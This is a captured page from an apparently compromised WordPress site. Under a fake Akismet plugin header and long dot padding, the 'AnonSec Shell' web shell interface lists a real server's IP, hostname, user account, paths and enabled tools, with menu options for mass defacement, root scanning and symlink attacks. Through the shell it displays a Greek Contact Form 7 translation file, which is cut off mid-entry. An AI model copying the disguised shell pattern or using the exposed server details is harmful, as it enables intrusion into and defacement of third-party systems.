#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/mosrembit/data/www/mosrembit.ru/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/mosrembit/data/www/mosrembit.ru/wp-content/languages/plugins/contact-form-7-el.po
# Translation of Plugins - Contact Form 7 - Stable (latest release) in Greek
# This file is distributed under the same license as the Plugins - Contact Form 7 - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2024-08-02 09:16:28+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.3\n"
"Language: el_GR\n"
"Project-Id-Version: Plugins - Contact Form 7 - Stable (latest release)\n"

#: modules/checkbox.php:219
msgid "Too many items are selected."
msgstr "Επιλέχθηκαν πάρα πολλά στοιχεία."

#: includes/contact-form.php:572
msgid "Invalid action URL is detected."
msgstr "Εντοπίστηκε εσφαλμένη ενέργεια URL."

#: modules/constant-contact/constant-contact.php:135
msgid "https://contactform7.com/2024/02/02/we-end-the-constant-contact-integration/"
msgstr "https://contactform7.com/2024/02/02/we-end-the-constant-contact-integration/"

#: modules/sendinblue/contact-form-properties.php:98
#: modules/sendinblue/service.php:177
msgid "Brevo integration"
msgstr "Ενσωμάτωση Brevo"

#. translators: 1: blog name, 2: blog URL
#: includes/contact-form-template.php:111
msgid "This email is a receipt for your contact form submission on our website (%1$s %2$s) in which your email address was used. If that was not you, please ignore this message."
msgstr "Αυτό το μήνυμα ηλεκτρονικού ταχυδρομείου αποτελεί απόδειξη για την υποβολή της φόρμας επικοινωνίας στον ιστότοπό μας (%1$s %2$s), στην οποία χρησιμοποιήθηκε η διεύθυνση ηλεκτρονικού ταχυδρομείου σας. Εάν δεν ήσασταν εσείς, παρακαλούμε αγνοήστε αυτό το μήνυμα."

#. translators: 1: blog name, 2: blog URL
#: includes/contact-form-template.php:77
msgid "This is a notification that a contact form was submitted on your website (%1$s %2$s)."
msgstr "Αυτή είναι μια ειδοποίηση ότι υποβλήθηκε μια φόρμα επικοινωνίας στον ιστότοπό σας (%1$s %2$s)."

#: includes/config-validator/mail.php:234
#: includes/config-validator/mail.php:324
msgid "Unsafe email config is used without sufficient protection."
msgstr "Χρησιμοποιείται μη ασφαλής ρύθμιση παραμέτρων ηλεκτρονικού ταχυδρομείου χωρίς επαρκή προστασία."

#: includes/config-validator/validator.php:239
msgid "Configuration error is detected."
msgstr "Εντοπίστηκε σφάλμα διαμόρφωσης."

#: modules/sendinblue/service.php:189
msgid "Brevo is active on this site."
msgstr "Το Brevo είναι ενεργό σε αυτόν τον ιστότοπο."

#: modules/sendinblue/contact-form-properties.php:110
#: modules/sendinblue/contact-form-properties.php:405
#: modules/sendinblue/service.php:30
msgid "Brevo"
msgstr "Brevo"

#: includes/contact-form-functions.php:271
msgid "Contact form not found."
msgstr "Η φόρμα επικοινωνίας δε βρέθηκε."

#: includes/contact-form-functions.php:270 includes/contact-form.php:571
#: includes/js/index.js:1
msgid "Error:"
msgstr "Σφάλμα:"

#: includes/block-editor/block.json
msgctxt "block keyword"
msgid "form"
msgstr "φόρμα"

#: includes/block-editor/block.json
msgctxt "block description"
msgid "Insert a contact form you have created with Contact Form 7."
msgstr "Εισάγετε μία φόρμα που έχετε δημιουργήσει με το Contact Form 7."

#: includes/block-editor/block.json
msgctxt "block title"
msgid "Contact Form 7"
msgstr "Contact Form 7"

#: modules/select.php:84
msgid "—Please choose an option—"
msgstr "—Κάντε μια επιλογή—"

#: modules/akismet/service.php:77
msgid "Akismet is active on this site."
msgstr "Το Akismet είναι ενεργό σε αυτό τον ιστότοπο."

#: modules/akismet/service.php:54
msgid "CAPTCHAs are designed to distinguish spambots from humans, and are therefore helpless against human spammers. In contrast to CAPTCHAs, Akismet checks form submissions against the global database of spam; this means Akismet is a comprehensive solution against spam. This is why we consider Akismet to be the centerpiece of the spam prevention strategy."
msgstr "Τα CAPTCHAs έχουν σχεδιαστεί για να διακρίνουν τα spambots από τους ανθρώπους, και επομένως είναι αβοήθητα απέναντι στους ανθρώπους spammers. Σε αντίθεση με τα CAPTCHAs, το Akismet ελέγχει τις υποβολές φόρμας με βάση την παγκόσμια βάση δεδομένων spam- αυτό σημαίνει ότι το Akismet αποτελεί μια ολοκληρωμένη λύση κατά του spam. Αυτός είναι ο λόγος για τον οποίο θεωρούμε ότι το Akismet είναι το κεντρικό στοιχείο της στρατηγικής πρόληψης του spam."

#: modules/akismet/akismet.php:305
msgid "Learn how your data is processed."
msgstr "Μάθετε πως επεξεργάζονται τα δεδομένα σας."

#: modules/akismet/akismet.php:302
msgid "This form uses Akismet to reduce spam."
msgstr "Αυτή η φόρμα χρησιμοποιεί το Akismet για να μειώσει τα spam."

#: includes/contact-form.php:645
msgid "Contact form"
msgstr "Φόρμα επικοινωνίας"

#: includes/config-validator/form.php:69
msgid "Colons are used in form-tag names."
msgstr "Τα άνω και κάτω τελεία χρησιμοποιούνται στα ονόματα των ετικετών φόρμας."

#: modules/text.php:195
msgid "Please enter a telephone number."
msgstr "Παρακαλώ εισάγετε ένα αριθμό τηλεφώνου."

#: modules/text.php:188
msgid "Please enter a URL."
msgstr "Παρακαλώ δώστε μια διεύθυνση URL."

#: modules/text.php:181
msgid "Please enter an email address."
msgstr "Προσθέστε μία διεύθυνση email."

#: modules/number.php:187
msgid "This field has a too large number."
msgstr "Αυτό το πεδίο έχει έναν πολύ μεγάλο αριθμό."

#: modules/number.php:182
msgid "This field has a too small number."
msgstr "Αυτό το πεδίο έχει έναν πολύ μικρό αριθμό."

#: modules/number.php:177
msgid "Please enter a number."
msgstr "Παρακαλώ συμπληρώστε έναν αριθμό."

#: modules/date.php:168
msgid "This field has a too late date."
msgstr "Αυτό το πεδίο έχει πολύ καθυστερημένη ημερομηνία."

#: modules/date.php:163
msgid "This field has a too early date."
msgstr "Αυτό το πεδίο έχει πολύ πρώιμη ημερομηνία."

#: modules/date.php:158
msgid "Please enter a date in YYYY-MM-DD format."
msgstr "Παρακαλώ συμπληρώστε την ημερομηνία σε μορφή YYYY-MM-DD."

#. translators: 1: WordPress hook name, 2: version number
#: includes/functions.php:537
msgid "Hook %1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s with no alternative available."
msgstr "Το άγκιστρο %1$s είναι <strong>καταργημένο</strong> από την έκδοση %2$s του Contact Form 7 και δεν υπάρχει διαθέσιμη εναλλακτική λύση."

#: includes/file.php:116
msgid "The uploaded file is too large."
msgstr "Το αρχείο που μεταφορτώθηκε είναι πολύ μεγάλο."

#: includes/contact-form-template.php:199
msgid "This field has a too short input."
msgstr "Αυτό το πεδίο έχει πολύ μικρή είσοδο."

#: includes/contact-form-template.php:194
msgid "This field has a too long input."
msgstr "Αυτό το πεδίο έχει πολύ μεγάλο μήκος εισόδου."

#: includes/contact-form-template.php:189
msgid "Please fill out this field."
msgstr "Παρακαλώ συμπληρώστε αυτό το πεδίο."

#. translators: 1: PHP function name, 2: version number, 3: alternative
#. function name
#: includes/functions.php:493
msgid "Function %1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s! Use %3$s instead."
msgstr "Η συνάρτηση %1$s είναι <strong>καταργημένη</strong> από την έκδοση %2$s του Contact Form 7! Χρησιμοποιήστε τη συνάρτηση %3$s."

#: includes/integration.php:25
msgid "Spam protection"
msgstr "Προστασία από Spam"

#. translators: Developer debugging message. 1: PHP function name, 2:
#. Explanatory message, 3: Contact Form 7 version number.
#: includes/functions.php:577
msgid "Function %1$s was called incorrectly. %2$s %3$s"
msgstr "Η συνάρτηση %1$s κλήθηκε εσφαλμένα. %2$s %3$s"

#. translators: 1: blog name, 2: confirmation link
#: modules/sendinblue/doi.php:84
msgid ""
"Hello,\n"
"\n"
"This is a confirmation email sent from %1$s.\n"
"\n"
"We have received your submission to our web form, according to which you have allowed us to add you to our contact list. But, the process has not yet been completed. To complete it, please click the following link.\n"
"\n"
"%2$s\n"
"\n"
"If it was not your intention, or if you have no idea why you received this message, please do not click on the link, and ignore this message. We will never collect or use your personal data without your clear consent.\n"
"\n"
"Sincerely,\n"
"%1$s"
msgstr ""
"Γεια σας,\n"
"\n"
"Αυτό είναι ένα μήνυμα ηλεκτρονικού ταχυδρομείου επιβεβαίωσης που στάλθηκε από την %1$s.\n"
"\n"
"Λάβαμε την υποβολή σας στη διαδικτυακή μας φόρμα, σύμφωνα με την οποία μας επιτρέψατε να σας προσθέσουμε στη λίστα επαφών μας. Όμως, η διαδικασία δεν έχει ακόμη ολοκληρωθεί. Για να την ολοκληρώσετε, παρακαλούμε κάντε κλικ στον ακόλουθο σύνδεσμο.\n"
"\n"
"%2$s\n"
"\n"
"Αν δεν ήταν στις προθέσεις σας ή αν δεν έχετε ιδέα γιατί λάβατε αυτό το μήνυμα, παρακαλούμε μην κάνετε κλικ στο σύνδεσμο και αγνοήστε αυτό το μήνυμα. Ποτέ δεν θα συλλέξουμε ή θα χρησιμοποιήσουμε τα προσωπικά σας δεδομένα χωρίς τη σαφή συγκατάθεσή σας.\n"
"\n"
"Με εκτίμηση,\n"
"%1$s"

#. translators: %s: blog name
#: modules/sendinblue/doi.php:78
msgid "Opt-in confirmation from %s"
msgstr "Επιβεβαίωση Opt-in από %s"

#: modules/stripe/stripe.php:380
msgid "Complete payment"
msgstr "Ολοκλήρωση πληρωμής"

#: modules/stripe/stripe.php:365
msgid "Proceed to checkout"
msgstr "Ολοκλήρωση της Παραγγελίας"

#: modules/stripe/stripe.php:249
msgid "Payment is required. Please pay by credit card."
msgstr "Απαιτείται πληρωμή. Παρακαλούμε πληρώστε με πιστωτική κάρτα."

#: includes/integration.php:27
msgid "Payments"
msgstr "Πληρωμές"

#: modules/stripe/service.php:252
msgid "Publishable Key"
msgstr "Δημόσιο κλειδί"

#: modules/stripe/service.php:225
msgid "Stripe is not available on this site. It requires an HTTPS-enabled site."
msgstr "Το Stripe δεν είναι διαθέσιμο σε αυτόν τον ιστότοπο. Απαιτεί έναν ιστότοπο με δυνατότητα HTTPS."

#: modules/stripe/service.php:196
msgid "Stripe is active on this site."
msgstr "Το Stripe είναι ενεργό σε αυτόν τον ιστότοπο."

#: modules/stripe/service.php:184
msgid "Stripe integration"
msgstr "Ενσωμάτωση του Stripe"

#. translators: 1: first name, 2: last name
#: modules/sendinblue/sendinblue.php:114
msgctxt "personal name"
msgid "%1$s %2$s"
msgstr "%1$s %2$s"

#: includes/rest-api.php:517
msgid "Unique identifier for the contact form."
msgstr "Μοναδικό σήματα αναγνώρισης για την φόρμα επικοινωνίας."

#: includes/config-validator/form.php:57
msgid "Dots are used in form-tag names."
msgstr "Οι τελείες χρησιμοποιούνται σε ονόματα με φόρμα ετικέτας."

#: admin/includes/welcome-panel.php:276
msgid "Show welcome panel"
msgstr "Προβάλετε το πάνελ υποδοχής"

#: admin/includes/welcome-panel.php:273
msgid "Welcome panel"
msgstr "Οθόνη καλωσορίσματος"

#: modules/stripe/service.php:38
msgid "Stripe"
msgstr "Stripe"

#: admin/includes/welcome-panel.php:141 modules/stripe/service.php:183
msgid "https://contactform7.com/stripe-integration/"
msgstr "https://contactform7.com/stripe-integration/"

#: admin/includes/welcome-panel.php:127
msgid "You have strong allies to back you up."
msgstr "Έχετε ισχυρές συμμαχίες για να σας στηρίξουν."

#: admin/admin.php:589
msgid "Integration with external APIs"
msgstr "Ενσωμάτωση με εξωτερικό API"

#: admin/admin.php:588
msgid "https://contactform7.com/integration-with-external-apis/"
msgstr "https://contactform7.com/integration-with-external-apis/"

#. translators: %s: link labeled 'Integration with external APIs'
#: admin/admin.php:586
msgid "You can expand the possibilities of your contact forms by integrating them with external services. For details, see %s."
msgstr "Μπορείτε να επεκτείνετε τις δυνατότητες της φόρμας επικοινωνίας σας ενσωματώνοντας εξωτερικές υπηρεσίες. Για περισσότερες λεπτομέρειες, δείτε %s."

#: admin/admin.php:65 admin/admin.php:576
msgid "Integration with External API"
msgstr "Ενσωμάτωση με Εξωτερικό API"

#: modules/sendinblue/contact-form-properties.php:374
msgid "Manage your email templates"
msgstr "Διαχειριστείτε τα πρότυπα email"

#: modules/sendinblue/contact-form-properties.php:357
msgid "You have no active email template yet."
msgstr "Δεν έχετε ενεργό πρότυπο email ακόμη."

#: modules/sendinblue/contact-form-properties.php:335
msgid "&mdash; Select &mdash;"
msgstr "&mdash; Επιλέξτε &mdash;"

#: modules/sendinblue/contact-form-properties.php:320
msgid "Select an email template:"
msgstr "Επιλέξτε ένα πρότυπο email:"

#: modules/sendinblue/contact-form-properties.php:299
msgid "Send a welcome email to new contacts"
msgstr "Στείλτε ένα email καλωσορίσματος στις νέες επαφές"

#: modules/sendinblue/contact-form-properties.php:269
#: modules/sendinblue/contact-form-properties.php:281
msgid "Welcome email"
msgstr "Καλώς ήρθατε Email"

#: modules/sendinblue/contact-form-properties.php:246
#: modules/sendinblue/contact-form-properties.php:384
msgid "(opens in a new tab)"
msgstr "(ανοίγει σε μία νέα καρτέλα)"

#: modules/sendinblue/contact-form-properties.php:236
msgid "Manage your contact lists"
msgstr "Διαχειριστείτε τις λίστες επαφών"

#: modules/sendinblue/contact-form-properties.php:219
msgid "You have no contact list yet."
msgstr "Δεν έχετε λίστες επαφών ακόμη."

#: modules/sendinblue/contact-form-properties.php:188
msgid "Select lists to which contacts are added:"
msgstr "Επιλέξτε λίστες στις οποίες θα προστεθούν οι επαφές:"

#: modules/sendinblue/contact-form-properties.php:169
msgid "Add form submitters to your contact lists"
msgstr "Προσθέστε τους αποστολείς φορμών στις λίστες επαφών"

#: modules/sendinblue/contact-form-properties.php:139
#: modules/sendinblue/contact-form-properties.php:151
msgid "Contact lists"
msgstr "Λίστες Επαφών"

#. translators: %s: link labeled 'Brevo integration'
#: modules/sendinblue/contact-form-properties.php:94
msgid "You can set up the Brevo integration here. For details, see %s."
msgstr "Μπορείτε να ρυθμίσετε την ενσωμάτωση με το Sendinblue εδώ. Για λεπτομέρειες, δείτε %s."

#: modules/sendinblue/service.php:251
msgid "Save changes"
msgstr "Αποθήκευση αλλαγών"

#: modules/sendinblue/service.php:247
msgctxt "API keys"
msgid "Remove key"
msgstr "Αφαίρεση κλειδιού"

#: modules/sendinblue/service.php:226
msgid "API key"
msgstr "Κλειδί API"

#: modules/recaptcha/service.php:331 modules/sendinblue/service.php:208
#: modules/stripe/service.php:215 modules/turnstile/service.php:311
msgid "Setup integration"
msgstr "Ρύθμιση ενσωμάτωσης"

#: admin/includes/welcome-panel.php:135
#: modules/sendinblue/contact-form-properties.php:97
#: modules/sendinblue/service.php:176
msgid "https://contactform7.com/sendinblue-integration/"
msgstr "https://contactform7.com/sendinblue-integration/"

#: modules/sendinblue/service.php:166
msgid "Store and organize your contacts while protecting user privacy on Brevo, the leading CRM & email marketing platform in Europe. Brevo offers unlimited contacts and advanced marketing features."
msgstr "Αποθηκεύστε και οργανώστε τις επαφές σας ενώ προστατεύετε το απόρρητο των χρηστών στο Brevo, την πρωτοπόρα πλατφόρμα CRM & email marketing στην Ευρώπη. H Brevo προσφέρει απεριόριστες επαφές και προχωρημένες δυνατότητες προώθησης."

#: modules/sendinblue/service.php:128
msgid "You have not been authenticated. Make sure the provided API key is correct."
msgstr "Δεν έχετε πιστοποιηθεί. Επαληθεύστε ότι το παρεχώμενο κλειδί API είναι σωστό."

#: includes/mail.php:311
msgid "Failed to attach a file. The total file size exceeds the limit of 25 megabytes."
msgstr "Αποτυχία σύναψης αρχείου. Το συνολικό μέγεθος ξεπερνά το όριο των 25 megabytes."

#. translators: %s: Attachment file path.
#: includes/mail.php:291
msgid "Failed to attach a file. %s is not a readable file."
msgstr "Αποτυχία σύναψης αρχείο. Το %s δεν είναι αναγνώσιμο αρχείο."

#. translators: %s: Attachment file path.
#: includes/mail.php:277
msgid "Failed to attach a file. %s is not in the allowed directory."
msgstr "Αποτυχία σύναψης αρχείου. Το %s δεν είναι σε επιτρεπόμενο κατάλογο."

#: includes/contact-form-template.php:42
msgid "Submit"
msgstr "Υποβολή"

#: includes/contact-form-template.php:37
msgid "(optional)"
msgstr "(προαιρετικό)"

#. translators: %s: comma separated list of disallowed words
#: modules/disallowed-list.php:36
msgid "Disallowed words (%s) are used."
msgstr "Χρησιμοποιούνται (%s) μη επιτρεπόμενες λέξεις"

#: modules/disallowed-list.php:32
msgid "Disallowed words are used."
msgstr "Χρησιμοποιήσατε μη επιτρεπόμενες λέξεις"

#. translators: %s: Contact Form 7 version number.
#: includes/functions.php:568
msgid "(This message was added in Contact Form 7 version %s.)"
msgstr "(Αυτό το μήνυμα προστέθηκε στην έκδοση %s του Contact Form 7.)"

#: includes/special-mail-tags.php:22 includes/special-mail-tags.php:104
#: includes/special-mail-tags.php:170 includes/special-mail-tags.php:239
#: modules/flamingo.php:310
msgid "The fourth parameter ($mail_tag) must be an instance of the WPCF7_MailTag class."
msgstr "Η τέταρτη παράμετρος  ($mail_tag) πρέπει να είναι δείγματου WPCF7_MailTag class"

#. translators: time format, see https://www.php.net/date
#: admin/includes/class-contact-forms-list-table.php:236
msgid "g:i a"
msgstr "g:i a"

#. translators: 1: date, 2: time
#: admin/includes/class-contact-forms-list-table.php:232
msgid "%1$s at %2$s"
msgstr "%1$s στις %2$s"

#: modules/sendinblue/service.php:127 modules/sendinblue/service.php:138
msgid "Error"
msgstr "Σφάλμα "

#: includes/config-validator/mail.php:437
msgid "The total size of attachment files is too large."
msgstr "Το συνολικό μέγεθος των συνημμένων αρχείων είναι πολύ μεγάλο."

#: includes/config-validator/form.php:45
msgid "Unavailable HTML elements are used in the form template."
msgstr "Χρησιμοποιήσατε μη διαθέσιμα HTML elements στην φόρμα σας"

#: modules/recaptcha/service.php:312
msgid "reCAPTCHA is active on this site."
msgstr "Το reCAPTCHA είναι ενεργοποιημένο σε αυτό τον ιστότοπο."

#: modules/recaptcha/recaptcha.php:148
msgid "reCAPTCHA response token is empty."
msgstr " Το reCAPTCHA response token είναι κενό."

#: includes/submission.php:660
msgid "Submitted nonce is invalid."
msgstr "Το υποβληθέν nonce είναι λάθος."

#: includes/submission.php:651
msgid "User-Agent string is unnaturally short."
msgstr "User-Agent string είναι ασυνήθιστα μικρή"

#. translators: 1: value of reCAPTCHA score 2: value of reCAPTCHA threshold
#: modules/recaptcha/recaptcha.php:155
msgid "reCAPTCHA score (%1$.2f) is lower than the threshold (%2$.2f)."
msgstr "Το reCAPTCHA score (%1$.2f) είναι χαμηλότερο από το όριο (%2$.2f)."

#: modules/akismet/akismet.php:84
msgid "Akismet returns a spam response."
msgstr "Το Akismet επιστρέφει απάντηση spam."

#. translators: 1: response code, 2: message, 3: body, 4: URL
#: includes/functions.php:621
msgid "HTTP Response: %1$s %2$s %3$s from %4$s"
msgstr "HTTP Απάντηση: %1$s %2$s %3$s από %4$s"

#: modules/recaptcha/service.php:397 modules/stripe/service.php:294
#: modules/turnstile/service.php:376
msgid "Save Changes"
msgstr "Αποθήκευση αλλαγών"

#: modules/recaptcha/service.php:289
msgid "reCAPTCHA protects you against spam and other types of automated abuse. With Contact Form 7&#8217;s reCAPTCHA integration module, you can block abusive form submissions by spam bots."
msgstr "Το reCAPTCHA σας προστατεύει από spam και άλλους τύπους αυτοματοποιημένης κατάχρησης. Με το Contact Form 7&#8217;s reCAPTCHA εργαλείο ενσωμάτωσης, μπορείτε να μπλοκάρετε τις υποβαλλόμενες καταχρηστικές φόρμες που εφαρμόζονται από spam bots."

#: modules/recaptcha/recaptcha.php:255 modules/recaptcha/service.php:300
msgid "reCAPTCHA (v3)"
msgstr "reCAPTCHA (v3)"

#. translators: %s: link labeled 'reCAPTCHA (v3)'
#: modules/recaptcha/recaptcha.php:252
msgid "API keys for reCAPTCHA v3 are different from those for v2; keys for v2 do not work with the v3 API. You need to register your sites again to get new keys for v3. For details, see %s."
msgstr "Τα κλειδιά API για την έκδοση reCAPTCHA v3 είναι διαφορετικά από αυτά της έκδοσης v2; Τα κλειδιά API για την έκδοση v2 δεν δουλεύουν με αυτά της έκδοσης v3. Πρέπει να εγγράψετε τα site σας ξανά για να λάβετε νέα κλειδιά για την έκδοση v3. Για λεπτομέρειες, δείτε %s. "

#: modules/constant-contact/constant-contact.php:206
#: modules/recaptcha/service.php:392 modules/stripe/service.php:290
#: modules/turnstile/service.php:372
msgctxt "API keys"
msgid "Remove Keys"
msgstr "Αφαίρεση API κλειδιών "

#: modules/constant-contact/constant-contact.php:191
msgid "App Secret"
msgstr "Συνθηματικό εφαρμογής"

#: modules/constant-contact/constant-contact.php:169
msgid "API Key"
msgstr "API κλειδί"

#: modules/constant-contact/constant-contact.php:56
msgid "Constant Contact"
msgstr "Constant Contact"

#: includes/integration.php:26
msgid "Email marketing"
msgstr "Email Marketing"

#: includes/config-validator/mail.php:423
msgid "It is not allowed to use files outside the wp-content directory."
msgstr "Δεν επιτρέπεται η χρήση αρχείων που βρίσκονται εκτός του wp-content φακέλου."

#: admin/edit-contact-form.php:386
msgid "Professional services"
msgstr "Επαγγελματικές Υπηρεσίες"

#: admin/edit-contact-form.php:385
msgid "https://contactform7.com/custom-development/"
msgstr "https://contactform7.com/custom-development/"

#: admin/edit-contact-form.php:377
msgid "Support forums"
msgstr "Φόρουμ υποστήριξης"

#: admin/edit-contact-form.php:376
msgid "https://wordpress.org/support/plugin/contact-form-7/"
msgstr "https://wordpress.org/support/plugin/contact-form-7/"

#: admin/edit-contact-form.php:354
msgid "Here are some available options to help solve your problems."
msgstr "Εδώ υπάρχουν μερικές διαθέσιμες επιλογές να σας βοηθήσουν να λύσετε προβλήματα σας."

#: admin/edit-contact-form.php:342
msgid "Do you need help?"
msgstr "Χρειάζεστε βοήθεια;"

#: modules/acceptance.php:320
msgid "Condition"
msgstr "Συνθήκη"

#. translators: 1: 'Consented' or 'Not consented', 2: conditions
#: modules/acceptance.php:240
msgctxt "mail output for acceptance checkboxes"
msgid "%1$s: %2$s"
msgstr "%1$s: %2$s"

#: modules/acceptance.php:224
msgid "Not consented"
msgstr "Δεν συναινέσατε"

#: modules/acceptance.php:222
msgid "Consented"
msgstr "Συναινέσατε"

#: includes/submission.php:120
msgid "Sending mail has been aborted."
msgstr "Η διαδικασία αποστολής του email ακυρώθηκε"

#: admin/includes/editor.php:460
msgid "https://contactform7.com/editing-messages/"
msgstr "https://contactform7.com/editing-messages/"

#: admin/includes/editor.php:87
msgid "https://contactform7.com/editing-form-template/"
msgstr "https://contactform7.com/editing-form-template/"

#: includes/contact-form.php:546 includes/contact-form.php:1069
msgid "This contact form is available only for logged in users."
msgstr "Αυτή η φόρμα επικοινωνίας είναι διαθέσιμη μόνο για χρήστες που έχουν συνδεθεί."

#: includes/config-validator/additional-settings.php:19
msgid "Deprecated settings are used."
msgstr "Χρησιμοποιούνται παρωχημένες ρυθμίσεις."

#. translators: %s: link labeled 'Really Simple CAPTCHA'
#: modules/really-simple-captcha.php:36
msgid "To use CAPTCHA, you need %s plugin installed."
msgstr "Για την χρήση του CAPTCHA, πρέπει να εγκατασταθεί το plugin %s."

#: includes/rest-api.php:323
msgid "There was an error deleting the contact form."
msgstr "Υπήρξε ένα σφάλμα κατά τη διαγραφή της φόρμας επικοινωνίας."

#: includes/rest-api.php:66 includes/rest-api.php:82 includes/rest-api.php:98
msgid "You are not allowed to access the requested contact form."
msgstr "Δεν σας επιτρέπεται η πρόσβαση στην φόρμα επικοινωνίας που ζητήσατε."

#: includes/rest-api.php:245 includes/rest-api.php:267
#: includes/rest-api.php:314 includes/rest-api.php:353
#: includes/rest-api.php:425 includes/rest-api.php:444
msgid "The requested contact form was not found."
msgstr "Η ζητούμενη φόρμα επικοινωνίας δεν βρέθηκε."

#: includes/rest-api.php:44
msgid "You are not allowed to create a contact form."
msgstr "Δεν σας επιτρέπεται να δημιουργήσετε μια φόρμα επικοινωνίας."

#: includes/rest-api.php:197
msgid "Cannot create existing contact form."
msgstr "Αδυναμία δημιουργίας υφιστάμενης φόρμας επικοινωνίας."

#: includes/rest-api.php:30
msgid "You are not allowed to access contact forms."
msgstr "Δεν σας επιτρέπεται η πρόσβαση στις φόρμες επικοινωνίας."

#: includes/config-validator/mail.php:409
msgid "Attachment file does not exist at %path%."
msgstr "To συνημμένο αρχείο δεν υπάρχει στο%path%."

#: includes/config-validator/mail.php:310
msgid "Invalid mailbox syntax is used in the %name% field."
msgstr "Μη έγκυρη σύνταξη γραμματοκιβωτίου χρησιμοποιείται στο πεδίο %name%."

#. translators: %names%: a list of form control names
#: includes/config-validator/form.php:32
msgid "Unavailable names (%names%) are used for form controls."
msgstr "Μη διαθέσιμα ονόματα (%names%) χρησιμοποιούνται για τα χειριστήρια φόρμας."

#: includes/config-validator/mail.php:297
msgid "There are invalid mail header fields."
msgstr "Υπάρχουν μη έγκυρα πεδία κεφαλίδας ταχυδρομείου."

#: includes/config-validator/messages.php:29
msgid "HTML tags are used in a message."
msgstr "Ετικέτες HTML χρησιμοποιούνται σε ένα μήνυμα."

#: includes/config-validator/mail.php:198
msgid "Sender email address does not belong to the site domain."
msgstr "Η διεύθυνση email του αποστολέα δεν ανήκει στο domain του site."

#: includes/config-validator/mail.php:180
#: includes/config-validator/mail.php:217
msgid "Invalid mailbox syntax is used."
msgstr "Χρησιμοποιείται μη έγκυρη σύνταξη γραμματοκιβώτιο."

#: includes/config-validator/mail.php:160
#: includes/config-validator/mail.php:344
msgid "There is a possible empty field."
msgstr "Υπάρχει ένα πιθανόν κενό πεδίο."

#. translators: %s: number of errors detected
#: admin/includes/class-contact-forms-list-table.php:131
msgid "%s configuration error detected"
msgid_plural "%s configuration errors detected"
